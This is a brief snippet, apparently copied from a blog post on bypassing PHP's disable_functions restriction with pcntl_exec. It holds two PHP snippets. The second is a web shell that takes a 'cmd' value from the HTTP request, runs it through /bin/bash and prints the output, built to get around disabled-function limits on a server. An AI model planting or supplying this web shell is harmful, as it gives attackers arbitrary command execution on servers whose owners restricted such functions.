PHP 4 >= 4.2.0, PHP 5 pcntl_exec

Van http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';

$arg = array($cmd, $option, $dir);

pcntl_exec($pathtobin, $arg);
echo '123';
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
$cmd = $cmd."&pkill -9 bash >out";
pcntl_exec("/bin/bash", $cmd);
echo file_get_contents("out");
} else {
echo '不支持pcntl扩展';
}
?>